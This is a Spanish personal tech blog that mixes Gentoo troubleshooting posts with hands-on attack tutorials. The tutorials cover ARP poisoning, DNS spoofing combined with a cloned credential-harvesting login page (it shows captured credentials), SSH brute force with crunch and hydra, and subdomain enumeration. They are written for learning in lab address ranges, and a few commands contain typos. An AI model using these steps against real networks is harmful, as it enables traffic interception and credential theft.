dev-ruby/bundler: environment: line 659: rdoc: command not found gentoo

Hoy, al intentar realizar una actualización de mi sistema me he encontrado con este fallo de compilación:

  • environment: line 659: rdoc: command not found gentoo

La solución:

  • eselect ruby list:

[1] ruby25 *
[2] ruby26 (with Rubygems)

  • eselect ruby set 2
  • emerge –resume
  • a compilar! 🙂

Fuentes:

https://forums.gentoo.org/viewtopic-p-8504209.html?sid=dc07e6309b9a74ee8696b77b0165a2bf

https://bugs.gentoo.org/744493

Share

DNS SPOOFING

El ataque DNS SPOOFING es un extra del envenenamiento ARP.

Primero, envenenamos la tabla ARP para hacer pasar el trafico por nuestro equipo atacante y a continuación levantamos un servidor dns propio para redirigir a nuestra victima a la máquina atacante.

Para realizar el DNS SPOOFING primero tenemos que realizar un envenenamiento de la tabla ARP (ARP SPOOFING) de los equipos haciendoles creer que nuestro equipo es el router de la red. (con el ip_forward activado) para que nuestra máquina haga forward de los paquetes.

En este caso nuestro escenario, seria este:

Equipo victima: 192.168.1.88
Router red:     192.168.1.1
Atacante:       192.168.1.50

1. ARP SPOOFING: Ejecutamos en la máquina atacante:

# arpspoof -i eth0 192.168.1.1
# echo 1 > /proc/sys/net/ipv4/ip_forward

Con el comando anterior, permanentemente lo que haremos es decirle a TODOS los dispositivos de la red que 192.168.1.1 somos nosotros (el atacante 192.168.1.50) por lo que todos los hosts de esta red enviarán el trafico hacia nuestro equipo y nosotros lo reenviaremos al router real (por eso el ip_forward activado).

2. DNSSPOOF:

Esta utilidad se puede encontrar en distribuciones como Kali Linux y lo que hará es solamente realizar la resolución de nombres que hayamos indicado. Es decir, todas las consultas las ignorará, solamente realizará el «engaño» en los hosts que hayamos indicado en ‘resol.txt’:

– Creamos el archivo resol.txt:
echo «192.168.1.50 login.panel.com» > resol.txt

– Ejecutamos dnspoof:
dnsspoof -i eth0 -f resolt.txt

Con dnsspoof ejecutandose y escuchando peticiones DNS, cuando alguien decida visitar login.panel.com lo que estará haciendo es resolver hacia nuestra maquina atacante. Con lo que si nosotros armamos una «copia» de la web que queramos podemos engañar a la victima para conseguir las credenciales que nos interesan.

Para realizar la copia del sitio y levantar un servidor web con el contenido «clon» podemos utilizar la utilidad ‘settoolkit’ que viene con Kali Linux:

Esta son las opciones que tendremos que usar dentro de settoolkit:

/usr/share/set/setoolkit
1 – Social Engineering Attacks
2 – Website Attack Vectors
3 – Credential Harvester Attack Method
2 – Site Cloner

IP Address for the POST back….: 192.168.1.50   <IP de nuestra maquina. Atacante>
Enter the url to clone: login.panel.com

Una vez que hayamos completado los pasos anteriores settoolkit quedará ejecutandose. La victima, al visitar ‘login.panel.com’ y introducir ahi sus credenciales, obtendriamos esto:

(‘Array\n’,)
(‘(\n’,)
(‘    [type] => account\n’,)
(‘    [username] => Juan\n’,)
(‘    [password] => 2250\n’,)
(‘    [Submit] => Log In\n’,)
(‘)\n’,)

Como podemos observar, el usuario ha introducido ‘Juan’ como usuario y ‘2250’ como password.

Eso es todo.

Share

Main the Middle. Envenenamiento tabla ARP

El envenenamiento de ARP consiste en modificar la tabla de Relación IP -> MAC de equipos en la red por alguna que nosotros queramos.
De este modo si tenemos:

– Cliente Legitimo  con IP (192.168.1.130)
– Servidor Web             (192.168.1.129)
– Atacante                 (192.168.1.128) MAC: 00:80:5a:60:ee:71

Lo que nos interesa en este punto es poder interceptar la comunicación entre: Cliente Legitimo -> Servidor Web. Para ell utilizaremos arpspoof para hacer creer al Servidor que la MAC del cliente será el ATACANTE y al CLIENTE, que la MAC del servidor será ATACANTE. Con esto, obtendriamos la comunicación en los 2 sentidos.

1. Activamos el ip_forwarding en la máquina del atacante para reenviar paquetes.

# echo 1 > /proc/sys/net/ipv4/ip_forwarding

2. Realizamos el envenenamiento de la tabla ARP con arpspoof:

# arpspoof -i eth0 -t 172.16.1.130 172.16.1.129       Comunicación: Cliente legitimo -> Servidor Web
# arpspoof -i eth0 -t 172.16.1.129 172.16.1.130       Comunicación: Servidor web -> Cliente legitimo

De esta forma, hemos realizado el envenamientamiento ARP para las 2 vías de comunicación.

Si comprbamos ahora la tabla arp tanto en el CLIENTE LEGITIMO como en el SERVIDOR con arp -a, veremos que la MAC que ahora aparece es la del atacante: 00:80:5a:60:ee:71

3. Se podria realizar este mismo ataque pero con la IP de la puerta de enlace (router). De esta forma podriamos capturar todo el tráfico que pasa por él. Con tcpdump, wireshark o cualquier sniffer de red.

Share

HYDRA: Ataques de fuerza bruta SSH

Hoy he estado trasteando un poco con utilidades como ‘crunch’ para la generación de diccionarios y hydra para el uso de estos diccionarios a la hora de intentar realizar una autenticación.

El uso de crunch es simple:

crunch minimo maximo caracteres

Mininimo será número mínimo de caracteres que tendrán las palabras del diccionario y maximo lo mismo pero máximo. Caracteres serán la combinación de caracteres que usará para «fabricar» todo el diccionaro. Por ejemplo, si quisiesemos que solamente utilizará numeros en las combinaciones  y como minimo y maximo 2 digitos:

crunch 2 2 0123456789

Hydra es la herramienta que automatiza la prueba de usuarios y contraseñas en una gran variedad de servicios. .
Los parámetros que se van a utilizar en este ejemplo son los siguientes:

-l LOGIN / -L FILE: Establecer el nombre del usuario que se va a utilizar o una 
lista de nombres a probar. 

-p PASS / -P FILE: Contraseña a usar o lista de las mismas (diccionario) que se 
van a probar. 

-f/-F: Terminar la ejecución de programa cuando se encuentre un par usuario/
contraseña válido. 

-s PORT: Especificar el Puerto si éste es distinto al Puerto por defecto. 

-v / -V / -d: Activar el modo debug (depuración) para obtener más información 
sobre la ejecución de la herramienta.  

De esta forma con nmap podemos comprobar si la maquina objetivo tiene el servicio ssh abierto:

nmapPn 127.0.0.1

Generamos el diccionario con todas las combinaciones posibles que nos interesan:

crunch 3 3 0123456789 > pass.txt

Y realizamos el intento de login con hydra utilizando todos las palabras que nos generó crunch y con el usuario ‘root’:

hydra 127.0.0.1 ssh -s 22 -l root -P pass.txt -f -vV 

 

Podemos utilizar tambien un diccionario con nombres de usuario (si no lo conocemos). Utilizamos el parametro -L con hydra para indicarle que utilice ese fichero para la prueba de user/pass.

hydra 127.0.0.1 ssh -s 22 -L users -P worstpasswords.txt -f -vV 

Una pequeña aportación más a modo de apunte.

Espero que os ayude.

Share

Identificar hardware y modulos que lo usan

En esta breve receta voy a publicar un pequeño comando que me es muy útil para comprobar si todo el hardware de mi equipo esta correctamente seleccionado por el kernel. Lo hago con lspci:

 

lspci -nnk

Con este sencillo comando podemos tener una sencilla salida como esta:

00:00.0 Host bridge [0600]: Intel Corporation Xeon E3-1200 v5/E3-1500 v5/6th Gen Core Processor Host Bridge/DRAM Registers [8086:1904] (rev 08)
Subsystem: Lenovo Xeon E3-1200 v5/E3-1500 v5/6th Gen Core Processor Host Bridge/DRAM Registers [17aa:3808]
Kernel driver in use: skl_uncore
00:02.0 VGA compatible controller [0300]: Intel Corporation Skylake GT2 [HD Graphics 520] [8086:1916] (rev 07)
Subsystem: Lenovo Skylake GT2 [HD Graphics 520] [17aa:3808]
Kernel driver in use: i915
00:14.0 USB controller [0c03]: Intel Corporation Sunrise Point-LP USB 3.0 xHCI Controller [8086:9d2f] (rev 21)
Subsystem: Lenovo Sunrise Point-LP USB 3.0 xHCI Controller [17aa:3808]
00:14.2 Signal processing controller [1180]: Intel Corporation Sunrise Point-LP Thermal subsystem [8086:9d31] (rev 21)
Subsystem: Lenovo Sunrise Point-LP Thermal subsystem [17aa:3808]
00:16.0 Communication controller [0780]: Intel Corporation Sunrise Point-LP CSME HECI #1 [8086:9d3a] (rev 21)
Subsystem: Lenovo Sunrise Point-LP CSME HECI [17aa:3808]
00:17.0 SATA controller [0106]: Intel Corporation Sunrise Point-LP SATA Controller [AHCI mode] [8086:9d03] (rev 21)
Subsystem: Lenovo Sunrise Point-LP SATA Controller [AHCI mode] [17aa:3808]
Kernel driver in use: ahci
00:1c.0 PCI bridge [0604]: Intel Corporation Sunrise Point-LP PCI Express Root Port #5 [8086:9d14] (rev f1)
Kernel driver in use: pcieport
00:1c.5 PCI bridge [0604]: Intel Corporation Sunrise Point-LP PCI Express Root Port #6 [8086:9d15] (rev f1)
Kernel driver in use: pcieport
00:1f.0 ISA bridge [0601]: Intel Corporation Sunrise Point-LP LPC Controller [8086:9d48] (rev 21)
Subsystem: Lenovo Sunrise Point-LP LPC Controller [17aa:3808]
00:1f.2 Memory controller [0580]: Intel Corporation Sunrise Point-LP PMC [8086:9d21] (rev 21)
Subsystem: Lenovo Sunrise Point-LP PMC [17aa:3808]
00:1f.3 Audio device [0403]: Intel Corporation Sunrise Point-LP HD Audio [8086:9d70] (rev 21)
Subsystem: Lenovo Sunrise Point-LP HD Audio [17aa:3808]
Kernel driver in use: snd_hda_intel
00:1f.4 SMBus [0c05]: Intel Corporation Sunrise Point-LP SMBus [8086:9d23] (rev 21)
Subsystem: Lenovo Sunrise Point-LP SMBus [17aa:3808]
Kernel driver in use: i801_smbus
01:00.0 Ethernet controller [0200]: Realtek Semiconductor Co., Ltd. RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller [10ec:8168] (rev 15)
Subsystem: Lenovo RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller [17aa:3837]
Kernel driver in use: r8169
02:00.0 Network controller [0280]: Intel Corporation Dual Band Wireless-AC 3165 Plus Bluetooth [8086:3166] (rev 79)
Subsystem: Intel Corporation Dual Band Wireless-AC 3165 Plus Bluetooth [8086:4210]
Kernel driver in use: iwlwifi
Kernel modules: iwlwifi

 

Como podeis ver en Kernel drive y Kernel Module nos advierte de que modulos/drivers estan siendo usados para cada hardware.

 

Share

[Gentoo] Instalar Snort en gentoo

En esta ocasión les vengo a enseñar como instalar snort en nuestro sistema gentoo. Al intentarlo solamente con portage he tenido muchos problemas, ya que entraba en conflicto con las librerias glibc entre otras tantas.

Al final, pude realizar la instalación utilizando un ebuild externo, con lo que os mostraré los sencillos pasos.

Lo primero que tenemos que hacer es añadir el grupo snort y usuario snort a nuestros sistema:

groupadd snort

useradd -m -g snort -s /bin/bash snort

El overlay que necesitaba instalar era `snort-2.9.2.2-r9999` el cual estaba disponible en el repostirio llamado `pinkbyte`. Con lo que vamos a añadir este repositorio a layman para poder instalar paquetes de ese repositorio:

layman -a pinkbyte

 

Una vez añadido el repostirio a layman nos dispondremos a instalar snort, pero antes, necesitamos instalar `net-libs/daq-0.6.2`:

emerge =net-libs/daq-0.6.2-r1

Ahora ya estaremos en disposición de instalar snort:

emerge -a =net-analyzer/snort-2.9.2.2-r9999

 

 

Con estos sencillos pasos ya deberiamos tener snort funcionando en nuestro sistema.

Ahora, para ejecutarlo tenemos que pasarle algunos parámetros, como el lugar donde se encuentra la libreria daq y algunas cosas más:

snort -q -v -A console –daq-dir /usr/lib/daq

-q – Para eliminar gran parte de la salida por consola.

-v – verbose de los paquetes.

-A console – Para que muestre la información en la terminal

–daq-dir – Directorio donde se encuentra daq

 

Espero que les pueda ayudar estos sencillos pasos para realizar la instalación en sus equipos gentoo.

Share

[Gentoo] python-exec bloquea actualización portage

Otro post más a modo de apunte para el futuro….

Hoy me he encontrado en una situación un poco complicada con mi sistema gentoo y es que intentaba realizar una actualización de emerge pero python y python-exec bloqueaba dicha instalación. Intentaba actualizar python y tampoco me lo permitia con lo que la solución finalmente fué utilizar el parámetro –nodeps:

 

emerge –nodeps -u python:2.7

emerge –nodeps -u python:3.4
emerge -u portage

Solucionado! 🙂

Share

Obtener subdominios de un dominio por diccionario

Hola.

En casos de una auditoria nos es muy útil poder descubrir los subdominios que cuelgan de un dominio. Esto se puede conseguir a traves de google o con distintas herramientas. Pero en esta ocasión vamos a realizar un script propio, sencillo, el cual a traves de un diccionario creado por nosotros mismos vamos a poder averiguar los subdominios que cuelgan de un dominio y sus respectivas direcciones IP, empecemos.

Como siempre lo único que necesitamos para realizar esta tarea es, un equipo y como no, nuestro sistema operativo favorito, LINUX.

  1.  Creación del fichero de diccionario para búsqueda de dominios: Lo llamaremos ‘palabras.txt’ y lo podemos crear con nano por ejemplo. Este seria su contenido:

estudiante
intranet
correo
email
mail
primario
secundario
backup
intranet
gerencia
administracion
seguridad
contabilidad
contable

tecnico

admin

sistemas

interior

exterior

2. Creación del script:

for i in $(cat palabras.txt);
do
host $i.DOMINIO.COM;
done

Tenemos que cambiar el contenido de DOMINIO.COM por el DOMINIO que queremos analizar.

 

De esta forma si corremos ese comando con el dominio: GOOGLE.com este seria el resultado:

Host estudiante.google.com not found: 3(NXDOMAIN)
Host intranet.google.com not found: 3(NXDOMAIN)
Host correo.google.com not found: 3(NXDOMAIN)
email.google.com is an alias for gmail.google.com.
gmail.google.com is an alias for www3.l.google.com.
www3.l.google.com has address 216.58.201.142
www3.l.google.com has IPv6 address 2a00:1450:4003:804::200e
mail.google.com is an alias for googlemail.l.google.com.
googlemail.l.google.com has address 216.58.201.133
googlemail.l.google.com has IPv6 address 2a00:1450:4003:804::2005
Host primario.google.com not found: 3(NXDOMAIN)
Host secundario.google.com not found: 3(NXDOMAIN)
Host backup.google.com not found: 3(NXDOMAIN)
Host intranet.google.com not found: 3(NXDOMAIN)
Host gerencia.google.com not found: 3(NXDOMAIN)
Host administracion.google.com not found: 3(NXDOMAIN)
Host seguridad.google.com not found: 3(NXDOMAIN)
Host contabilidad.google.com not found: 3(NXDOMAIN)
Host contable.google.com not found: 3(NXDOMAIN)
Host mx.google.com not found: 3(NXDOMAIN)
Host mx01.google.com not found: 3(NXDOMAIN)
Host mx02.google.com not found: 3(NXDOMAIN)

Como podemos ver ha encontrado el subdominio ‘mail’ y el subdominio ‘email’.

Este seria el objetivo. Adaptar las palabras claves para el dominio que necesitamos y con esto podemos obtener muy buena información. Ademas, podemos filtrar un poco más la salida para obviar los resultados que no han coincidido, lo podemos hacer con grep:

for i in $(cat palabras.txt); do host $i.google.com; done | grep has

Ahora, esta seria la salida:

www3.l.google.com has address 216.58.201.142
www3.l.google.com has IPv6 address 2a00:1450:4003:804::200e
googlemail.l.google.com has address 216.58.201.133
googlemail.l.google.com has IPv6 address 2a00:1450:4003:804::2005

Mucho más sencilla, ¿verdad?

 

 

Espero os pueda servir de utilidad.

Un saludo.

Share